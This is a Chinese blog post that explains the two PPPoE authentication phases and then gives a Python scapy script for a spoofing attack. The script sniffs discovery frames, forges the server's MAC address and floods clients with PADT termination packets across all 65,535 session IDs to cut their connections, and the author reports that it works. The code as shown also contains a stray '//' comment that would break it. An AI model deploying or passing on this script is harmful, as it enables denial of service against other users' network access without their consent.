python pppoe拨号_PPPoE***1:PADT断开连接

PPPoE协议是一个非常良好的协议,它具有带宽控制、用户认证、防ARP病毒等功能,基本上可以满足局域网对用户的管理,多用于adsl拨号,许多运营商就是通过pppoe拨号对用户实现宽带接入;

本人在使用PPPoE协议过程中,对PPPoE协议进行了学习,笔记如下:

PPPoE认证分为两个阶段:

第一阶段:发现阶段

1.pppoe client广播发送PADI数据包建立连接;

2.pppoe server回复一个PADO单播帧;

3.client回复一个PADR单播请求,期望进行会话;

4.pppoe server回复一个PADS数据包,同意进行下一步协商(包中携带一个sessionid,作为用户的凭证之一)

第二阶断:会话阶段

双方使用PPP的LCP协议协商链路,NCP进行用户名密码检验,双方完成通讯。

在第一阶段pppoe会话重要依据就是双方的mac地址,在和sessionid;

在用户下线的时候,用户会发送PADT数据包进行协商,断开会话连接;

那么问题来了:如果我们冒充服务器(客户),向客户(服务器)发送伪造的特定格式的PADT数据包,会不会断开会话?基于这一思路,我利用python的scapy模块写出了一个程序,经过测试,这个思路完全正确,可以达到断开会话的目的;

***的原理:在pppoe client发送广播帧发送discovery时,监听网络,得到client mac地址,再对client发送一个PADT数据包,包中包含sessionid,这时就可以使client误以为server结束了连接。注意:在发送伪造数据包时,双方应该已经完成了第一阶段的会话;

由于我们不清楚客户获得的sessionid,所以对于sessionid的取值直接使用了数据字典,因此为了破坏连接需要发送65535个数据包;

***的python代码如下:from  scapy.all import *

while True:

try:

a=sniff(filter='pppoed',count=1)

c=Ether()/PPPoE()

c.dst=a[0].src

c.src="00:0c:29:be:f5:21"  //注意:这个src是你pppoe服务器的mac地址,请酌情手工修改

c.type=0x8863

c.payload.code=0xa7

c.payload.sessionid=range(65535)

c.payload.len=0

sendp(c)

print "We have attack one,his/her mac address is "+a[0].src

except:

continue

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值